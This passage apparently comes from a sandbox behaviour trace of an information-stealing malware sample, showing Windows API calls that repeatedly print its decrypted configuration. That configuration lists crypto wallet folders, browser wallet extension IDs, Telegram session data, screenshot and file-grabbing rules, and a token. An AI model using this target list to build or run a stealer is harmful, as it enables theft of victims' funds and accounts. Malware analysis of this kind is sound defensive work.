Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3931 [0259.775] LocalAlloc (uFlags=0x40, uBytes=0x1eb6) returned 0x6b9720 [0259.775] lstrlenW (lpString="wlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3931 [0259.775] LocalAlloc (uFlags=0x40, uBytes=0x1eb6) returned 0x6bb5e0 [0259.776] lstrlenW (lpString="wlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3931 [0259.776] LocalAlloc (uFlags=0x40, uBytes=0x1eb6) returned 0x6bd4a0 [0259.776] StrStrW (lpFirst="wlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.776] lstrlenW (lpString="wlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3931 [0259.776] LocalAlloc (uFlags=0x40, uBytes=0x1f36) returned 0x6ef5a0 [0259.776] StrCpyW (in: psz1=0x6b9720, psz2="wlts" | out: psz1="wlts") returned="wlts" [0259.777] LocalFree (hMem=0x6ef5a0) returned 0x0 [0259.777] StrStrW (lpFirst="wlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram 